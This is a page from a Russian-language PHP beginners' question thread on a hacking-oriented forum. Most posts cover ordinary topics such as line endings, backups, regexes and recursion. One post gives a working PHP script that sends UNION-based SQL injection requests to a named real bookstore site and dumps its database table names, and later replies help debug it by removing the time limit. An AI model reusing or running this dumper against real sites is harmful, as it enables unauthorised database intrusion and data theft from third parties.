[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. inlanger

    inlanger Elder - Старейшина

    Joined:
    7 Jan 2007
    Messages:
    985
    Likes Received:
    283
    Reputations:
    27
    В Unix- системах для отделения одной строки от другой используется \n , a в Windows \r\n.
    Так что надо смотреть ещё, что за сервак.
     
  2. Naydav

    Naydav Elder - Старейшина

    Joined:
    30 Dec 2006
    Messages:
    439
    Likes Received:
    63
    Reputations:
    4
    Почитай о контролле версий (например SVN (более новая система), CVS(болея старая система))

    А оболочка, ну я использую pdt eclipse + SVN, советую, там и другого чень много полезного
    Там все детально описано
    для начала глянь еще
    SVN:
    http://subversion.org.ru/ - вроде как сейчас не пашет
    пс
    тьху блин, аватара :), я себя был не признал :)
     
    #3662 Naydav, 24 Jun 2008
    Last edited: 24 Jun 2008
  3. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    вот так без разницы:
    $TEXT = array_map('trim',explode("\n",$_POST['text']));
     
  4. MongBa†

    MongBa† Banned

    Joined:
    16 May 2008
    Messages:
    13
    Likes Received:
    9
    Reputations:
    0
    Пиветствую
    Вопрос касается даже больше архивирования чем РНР но все же

    как сделать РНР скрипт который бы при запуске бекапил в backup.tar.gz папку /home/mong/public_html/forum/ ?
    естественно с сохранением структуры каталогов и не удаляя файлы.

    ОСя FreeBSD c gzip
     
    #3664 MongBa†, 24 Jun 2008
    Last edited: 24 Jun 2008
  5. Naydav

    Naydav Elder - Старейшина

    Joined:
    30 Dec 2006
    Messages:
    439
    Likes Received:
    63
    Reputations:
    4
    http://www.php.net/manual/ru/ref.zip.php

    Вот готовый класс
    Там с описанием
    Это если на PHP нужно...
    А так можно кроном(?) unix команды архивирования использовать
     
    #3665 Naydav, 24 Jun 2008
    Last edited: 24 Jun 2008
  6. Vid0k

    Vid0k Elder - Старейшина

    Joined:
    24 Dec 2007
    Messages:
    393
    Likes Received:
    125
    Reputations:
    13
    пишу тестилку проксиков на пхп
    засекаю время перед чтением с сокета через micotime()
    после завершения чтения засекаю второе время
    потом величину буфера делю на разницу времен и получаю вот эту шнягу
    Начальное время: 1214312272.3718
    Конечное время: 1214312275.5016
    Разница: 3.129772901535
    Скорость равна:6011.9377961166
    PHP:
    <?
    $wr_pic="http://www.2ip.ru";
    $proxy "82.94.187.199";
    $port 1080;
    $buffer="";
    $fp fsockopen($proxy$port);
    fputs($fp"GET $wr_pic HTTP/1.0\r\nHost: $proxy\r\n\r\n");
    $time=0;
    $time2=0;
    $time=microtime(true);
    while(!
    feof($fp)){
    $buffer .= fread($fp,2500);
    }
    fclose($fp);
    $time2=microtime(true);
    $time3=0;
    $time3=$time2-$time;
    print 
    "Начальное время: ".$time."<br>";
    print 
    "Конечное время: ".$time2."<br>";
    print 
    "Разница: ".$time3."<br>";
    print 
    "Скорость равна:".strlen($buffer)/$time3;
    ?>
    поидеи должен был получить кол-во байтов в секунду но чот выдача меня не очень радует))
     
  7. oRb

    oRb Elder - Старейшина

    Joined:
    9 May 2008
    Messages:
    294
    Likes Received:
    582
    Reputations:
    256
    тк правильное использование microtime:
     
  8. Vid0k

    Vid0k Elder - Старейшина

    Joined:
    24 Dec 2007
    Messages:
    393
    Likes Received:
    125
    Reputations:
    13
    спс попробую
     
  9. MaTpOc

    MaTpOc Elder - Старейшина

    Joined:
    5 May 2008
    Messages:
    633
    Likes Received:
    475
    Reputations:
    25
    Где можно скачать норм учебник по пхп???
    (я 0 в пхп)
     
  10. FeraS

    FeraS Elder - Старейшина

    Joined:
    19 Jan 2007
    Messages:
    555
    Likes Received:
    420
    Reputations:
    76
    MaTpOc
    Отбирал самые интересные)
    http://aeweb.ru/books/php_book/
     
    1 person likes this.
  11. n3m0

    n3m0 Elder - Старейшина

    Joined:
    11 May 2007
    Messages:
    133
    Likes Received:
    92
    Reputations:
    11
    Мда, как задолбали такие посты. Ну подними глаза. Тут же соседний топик!!! Даже называется: Books PHP

    http://forum.antichat.ru/threadnav8721-1-10.html
     
    2 people like this.
  12. Chaak

    Chaak Elder - Старейшина

    Joined:
    1 Jun 2008
    Messages:
    1,059
    Likes Received:
    1,067
    Reputations:
    80
    Дабавь еще туда "PHP это просто - прграмируем для Web сайта". Очень познавательная книга для новичка(я по ней когда-то учился). Охватывает вопросы работы с файлами, базой данных. Так же рассматриваются CMS. Очень полезная книга - советую! :cool:
     
  13. Chaak

    Chaak Elder - Старейшина

    Joined:
    1 Jun 2008
    Messages:
    1,059
    Likes Received:
    1,067
    Reputations:
    80
    Извините за ламерский вопрос:
    У меня есть руглярка:
    PHP:
    preg_match('/<a>(.*?)<\/a>/',$d,$d);
    Какой оператор мне применить, что бы выхватило только (.*?), без тегов <a></a>?
     
  14. Red_Red1

    Red_Red1 Banned

    Joined:
    12 Jan 2007
    Messages:
    246
    Likes Received:
    258
    Reputations:
    83
    Так оно и будет выхватывать то что в скобках отдельно. Просто обратись к нужно му элементу массива где будет лежать этот карман.
    сделай вывод результатов вот так print_r ($d) и увидешь какой тебе нужен элемент.
     
    1 person likes this.
  15. inlanger

    inlanger Elder - Старейшина

    Joined:
    7 Jan 2007
    Messages:
    985
    Likes Received:
    283
    Reputations:
    27
    Code:
    preg_match_all('#/<a>(.*?)<\/a>/#is',$d,$d,PREG_SET_ORDER);
    echo $d[0];
    
     
  16. m0nsieur

    m0nsieur Elder - Старейшина

    Joined:
    8 Apr 2008
    Messages:
    223
    Likes Received:
    69
    Reputations:
    10
    Что-то немного подвис на мысли как сохранить массив $result при рекурсивном вызове функции getcurpos, чтобы все значения хранились в нем, а не только последняя выборка.
    Ситуация следующая:
    PHP:
    class Curpos_m extends Model {
    ....
        function 
    getcurpos($id) {
            
    $this->db->select('id, pid, title');
            
    $this->db->where('id'$id);
            
    $this->db->limit(1);
            
    $query $this->db->get('ai_menu_'.$this->table);
            
    $data $query->result_array();
            global 
    $pid;
            foreach (
    $data as $key) {
                
    $pid $key['pid'];
            }
            
    $result[$pid] = $data;
            if(
    $pid != -1) {
                
    $this->getcurpos($pid);
            } else {
                return 
    $result;
            }
        }
    }
     
  17. Naydav

    Naydav Elder - Старейшина

    Joined:
    30 Dec 2006
    Messages:
    439
    Likes Received:
    63
    Reputations:
    4
    Или пересмотри саму функцию, например делай дополнение в массив, после рекурсивного вызова в этой же функции,
    Или делай массив $result - СТАТИЧЕСКИМ
     
    1 person likes this.
  18. gisTy

    gisTy Elder - Старейшина

    Joined:
    24 May 2008
    Messages:
    432
    Likes Received:
    160
    Reputations:
    27
    вопрос появился.. пишу дампер таблички information_schema.tables...
    PHP:
    <?php
    $host 
    'www.llewellyn.com';

    $fp fsockopen($host80$errno$errstr30);
    $pos 0;
    $pos1 0;
    $i1 131;
    $tableName '';
    if (!
    $fp) {
        echo 
    "$errstr ($errno)<br />\n";
        exit;
    }
        for (
    $i=1$i<$i1;$i++) {
        
    $out 'GET  /bookstore/author.php?id=-48208+union+select+1,2,3,concat(0x7c3a7c3a,table_schema,0x2e,table_name,0x3a7c3a7c),5,null,null,null,9,10,11,12+from+information_schema.tables+limit+'.$i.',1/*'." HTTP/1.1\r\n";
        
    $out .= "Host: ".$host."\r\n";
        
    $out .= "User-Agent: LOL/5.0 (Windows; U; Windows NT 5.2; ru; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14\r\n";
        
    $out .= "Connection: Close\r\n\r\n";

        while (!
    feof($fp)) 
            {
        
    $packet fgets($fp);
        
    fwrite($fh,$packet);
            
    $pos strpos($packet,'|:|:');
        
    $pos1 strpos($packet,':|:|');
        
    $tableName substr($packet$pos+4$pos1 $pos 4);
        if ((
    $pos) and ($pos1))
            { 
            echo 
    " pos: $pos\n pos1: $pos1\n table name: $tableName\n";
            }
            }
        
    $out '';
    }

        
    fclose($fp);
    ?>
    появилась проблема... цикл for не работает.. точнее он проходит один шаг и завершается.. "кто виноват/ что делать?" (с)
     
    #3678 gisTy, 25 Jun 2008
    Last edited: 25 Jun 2008
  19. mff

    mff Elder - Старейшина

    Joined:
    12 Mar 2008
    Messages:
    2,074
    Likes Received:
    701
    Reputations:
    227
    C циклом всё ок! У меня вот что: Fatal error: Maximum execution time of 30 seconds exceeded
     
  20. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    Значит за 30 секунд цикл не успевает сделать 131 запрос к серверу, убирай ограничение на время выполнения скрипта

    set_time_limit(0);
    ini_set("max_execution_time",0);
     
Thread Status:
Not open for further replies.